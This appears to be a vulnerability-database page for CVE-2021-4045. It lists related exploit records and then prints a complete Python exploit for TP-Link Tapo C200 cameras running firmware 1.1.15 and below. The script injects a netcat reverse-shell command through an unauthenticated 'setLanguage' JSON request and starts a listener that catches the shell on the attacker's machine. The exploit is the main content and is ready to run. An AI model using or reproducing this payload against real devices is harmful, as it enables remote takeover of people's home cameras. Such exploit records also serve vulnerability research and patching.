| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| TP-Link Tapo c200 1.1.15 - Remote Code Execution Exploit | 23 Sep 202200:00 | – | zdt | |
| Exploit for Command Injection in Tp-Link Tapo_C200_Firmware | 23 Nov 202521:12 | – | githubexploit | |
| Exploit for Command Injection in Tp-Link Tapo_C200_Firmware | 15 Nov 202114:48 | – | githubexploit | |
| Exploit for Command Injection in Tp-Link Tapo_C200_Firmware | 26 Dec 202308:20 | – | githubexploit | |
| Exploit for Command Injection in Tp-Link Tapo_C200_Firmware | 26 Dec 202308:20 | – | githubexploit | |
| Exploit for Command Injection in Tp-Link Tapo_C200_Firmware | 15 Nov 202114:48 | – | githubexploit | |
| CVE-2021-4045 | 11 Feb 202211:00 | – | attackerkb | |
| CVE-2021-4045 | 2 Apr 202218:51 | – | circl | |
| Tp-link Tapo C200 命令注入漏洞 | 10 Mar 202200:00 | – | cnnvd | |
| Tp-link Tapo C200 Command Injection Vulnerability | 14 Mar 202200:00 | – | cnvd |
# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
# Date: 02/11/2022
# Exploit Author: hacefresko
# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/
# Version: 1.1.15 and below
# Tested on: 1.1.11, 1.1.14 and 1.1.15
# CVE : CVE-2021-4045
# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce
import requests, urllib3, sys, threading, os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)
if len(sys.argv) < 3:
print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")
exit()
victim = sys.argv[1]
attacker = sys.argv[2]
print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
t.start()
print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
requests.post(url, json=json, verify=False)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation